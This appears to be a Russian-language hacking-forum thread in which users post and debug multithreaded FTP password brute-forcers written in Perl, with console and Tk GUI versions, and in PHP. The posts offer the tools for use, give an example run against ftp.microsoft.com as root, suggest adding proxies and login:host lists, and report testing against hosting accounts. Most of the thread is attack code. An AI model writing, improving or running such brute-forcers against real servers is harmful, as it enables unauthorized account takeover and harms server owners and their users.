Кароче я знаю что в инете полно таких брутеров. Я писал для освоения Perl'a Брутер многопоточный Code: #!perl -w use strict; use Net::FTP; # if doesn't work use NET::FTP use threads; use threads::shared; my @pass : shared; my @trl; my $ip = "$ARGV[0]"; my $login = "$ARGV[1]"; my $thr = $ARGV[2]; open (SRC, "$ARGV[3]") or die "Can't open:$!"; Next: @pass = pass(); for(0..$thr) { $trl[$_] = threads->create(\&Brut, $ok); } for(0..$thr) { $trl[$_]->join; } sub Brut { while (@pass) { my $pass = shift @pass; print "Checking password : \t$pass\n"; my $ftp = Net::FTP->new($ip); $ok = $ftp->login($login,$pass); if ($ok) { print "Pass for $ip is $pass\n"; exit; } } } goto Next; sub pass { my (@mas); while (<SRC>){ push @mas, $_; last if (@mas > 300); } chomp @mas; my $n = @mas; if ($n == 0) { print "Password not found\n"; exit; } else { return @mas; } } запускаем perl bruteng.pl <хост> <логин> <файл_с_паролями> <потоки> perl bruteng.pl ftp.microsoft.com root C:/xek.txt 100 ЗЫ Вроде работает
$login = "$ARGV[1]"; $ip = "$ARGV[0]"; это лучше вынести в начало кода, а не каждый раз в потоке присваивать значение переменным
помойму у меня какая то проблема вызникала с этим и я решил забить =))) Вобщем учту и доработаю. Написал версию с ГУИ но там какие то траблы небольшие были, мб позже выложу
вот с этим проблемка и возникла После того как брутер находит верный пасс записывает его в файл и выполняет die, после чего интепритатор перла выдаёт ошибку, типа невозможно создать новый поток ибо die() По идее он работает, просто несовем эстетично Кароче как разберусь, выложу
Ну вот пример на PHP: PHP: <?php if ($argc > 3 ) { $ftp_server = $argv[1]; $ftp_user_name = $argv[2]; $conn_id = ftp_connect($ftp_server); $f = fopen($argv[3],"r"); while(!feof($f)) { $ftp_user_pass = fgets($f,255); $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass); if ($login_result)) { echo "password found! ftp://$ftp_user_name@$ftp_server where password : $ftp_user_pass"; } } fclose($argv[3]); ftp_close($conn_id); } else { echo "Usage: ".$argv[0]." ftp.server usename password.txt"; } ?> работоспособность не гарантирую, так как не проверял. ЗЫ осталось прокси добавить и можна юзать ))
Строчка просто убила. Что за мания писать примитивный код и вставлять свои нелепые с0ded by ... version 0.0.0.1 pre alpha. На всякий случай, если будут баги, можно списать все на альфа-версию .
насчет брутера - сделай чтобы не под 1 логин был насчет threads + tk =) - а почему бы и нет - хоть тк и является unthreadable - типо не потокиируемый(если не ошибась) все невозможное возможно -- предлагаю именно блеки взглянуть на наш со слайдером мыл киллер -- там все есть -- есдинственный лаг при работе с tk это то что он сбивает адреса потоков в памяти и их нельзя завершить и они остаются висеть так что надо создат потоки и вкидывать в них пассы не пересоздавая -- да и если 100 раз запустить на разные хостя то оператива засрется а так вполне работоспособно и мило в качестве альтернативы этому я думал делать(генерировать) отдельный многопоточный скрипт и вызывать его из основного с гуи и чтобы он через return или в файл возвращал результат работы а основной только анализировал его и выводил пользователю PS код можно оптимизировать в лудшую сторону -- за сторания ++ -- практика практика и еще раз практика и у тебя будет красивый код - я тоже помнится не оч над этим задумывался пока меня ксури и киба не тыкнули мордой в него и сказали че за херня =)
В скрипте были ошибки + несовсем корректно работал Всё исправил, пользуйтесь =) Геном, про несколько логинов я думал, возможно потом реализую
Multithread FTP Bruter Tk/GUI Вобщем вот кое что подправил. проблема была из-за прагмы strict, так как я не мог понять в чём же проблема, принял решение её убрать. По скрипту. В первое поле вставляем адрес, второе - логин, тректье путь к файлу для сохранения результата. Хочу заметить что его придётся укзаывать ручками, не стал использовать диалог бокс, имхо незачем. Следующее поле для выбора словаря с паролями, сдесь заюзал функцию getOpenFile(), так удобнее, ну и в последнее поле указываем потоки Скрипт начинает брутить фтп, при удачном нахождении результат заносится в файл который вы указали и прога закрывается. Вот сдесь мне нужна помощь перл гуру, как сделать что бы после нахождения пароля можно было задать новые переменны и начать новый брут? Если пароль не найден в файл пишется Password not found и прога тоже закрывается (то же самое, как?). В интерпритатор вываливается куча ошибок в любом случае, там и глобал дистракшн из-за exit и сообщения о невозможности создать новые потоки. вот тут тоже выслушаю ваши замечания Собственно сам код Code: #!/usr/bin/perl use Tk; use NET::FTP; use threads; use threads::shared; my @pass : shared; my($main,$addr,$dicfile,$fo,$thrd,$save,$login); $main=MainWindow->new(-title => 'FTP bruter by Spyder'); $main->geometry ('320x220'); $main->resizable (0,0); $main->Label(-text => 'Enter targer for brute (without ftp://)')->pack(); $addr=$main->Entry(-width => 50)->pack; $main->Label(-text => 'Login')->pack; $login=$main->Entry(-width => 50)->pack; $main->Label(-text => "Enter path to save result")->pack; $save=$main->Entry(-width => 50)->pack; $main->Label(-text => 'Choose file with passwords')->pack; $dicfile=$main->Entry(-width => 50, -textvariable => \$fo)->pack; $main->Button(-text => 'Start brute', -width=> '80', -height=> '1', -font => 'courier', -command => \&Brute)->pack(-side => 'bottom'); $main->Button(-text => 'Browse', -command => \&fileopen)->pack(-side => 'left'); $thrd=$main->Entry(-width => 5)->pack(-side => 'right'); $main->Label(-text => 'Threads:')->pack(-side => 'right'); sub fileopen { $fo = $main->getOpenFile(); } MainLoop; sub Brute { $thr = int($thrd->get); $file = $dicfile->get; $fsave = $save->get; open (SRC, "<$file") or die "Can't open:$!"; Next: @pass = pass(); my @trl; for(0..$thr) { $trl[$_] = threads->create(\&Brut, $_); } for(0..$thr) { $trl[$_]->join } sub Brut { while (@pass) { $pass = shift @pass; $fsave = $save->get; $ip = $addr->get; $log_in = $login->get; $ftp = Net::FTP->new($ip); $ok = $ftp->login($log_in,$pass) or exit "$!"; if ($ok) { open (SAVE, ">>$fsave") or exit "Can't save:$!"; print SAVE "Password for $ip is $pass\n"; close (SAVE); exit; } } } goto Next; sub pass { my (@mas); while (<SRC>){ push @mas, $_; last if (@mas > 300); } chomp @mas; $n = @mas; if ($n == 0) { open (SAVE, ">>$fsave") or die "Can't save:$!"; print SAVE "Password not found\n"; close (SAVE); exit; } else { return @mas; } } } Не знаю то ли это чего вы ждали, но оно всё же работает =))
Статус Тк не позволяет (при стандартной связке Tk+threads) внедрять многопоточность только по отношению к себе. Т.е. разработка "нормального" гуя, где элементы гуя контролируются одними потоками, а работа скрипта выполняется другими, в данном случае не возможна. Я хотел было заморочиться по этому поводу, в мыслях было написать многопоточную обертку для Tk, но мои телодвижения в данном направлении окончились после этих строк: Code: #!perl use strict; use warnings; use Tk; use threads; my($MW); threads -> create(\&StartGUI, 'Tk & threads', [640, 480], [0, 0]) -> detach; sub StartGUI { my($title, $geometry, $resizable) = @_; $MW = MainWindow -> new(-title => $title); $MW -> geometry($geometry -> [0] . 'x' . $geometry -> [1]); $MW -> resizable($resizable -> [0], $resizable -> [1]); MainLoop; } Без исправлений на уровне XS, мне кажется, тут ничего уже не попишешь.
как сделать что бы после нахождения пароля можно было задать новые переменны и начать новый брут? ну проще сделать брут по списку login:host из файла, только тебе нужно изменить код чтобы хосты и пассы сразу заносились в массивы (правда тут словарь метров эдак на 200 не заюзаешь, оперативки не хватит, но с другой стороны врядли кто будет таким словарем брутить)), вот примерно как это может выглядеть: Code: sub brut { while (@ftps) { $ftp = shift @ftps; ($login, $host) = split (/:/, $ftp); foreach (@passwords) { $_ обходим все пассы в масиве } } }
проверял для хостинго jino.ru ftp:// -- login.jino.ru login -- login где логин это учетка на хостинге прога при запуске подумала немного и вырубилась
проверял на нарроде + обычные фтп всё работает Ты какой скрипт проверял? С ГУИ? Если да то он тебе должен результат в файл занести или может ты чё то не так делаешь C!klodoL, ты меня наверное немного не понял. Вобщем Ксури подсказал идею с сабами, попробую сделать
вот бы было бы не плохо еси мона было б подгружать список логинов я не большой ценитель гиу я маньяк ретро консоли по этому думаю что лучше бы старую версию доработать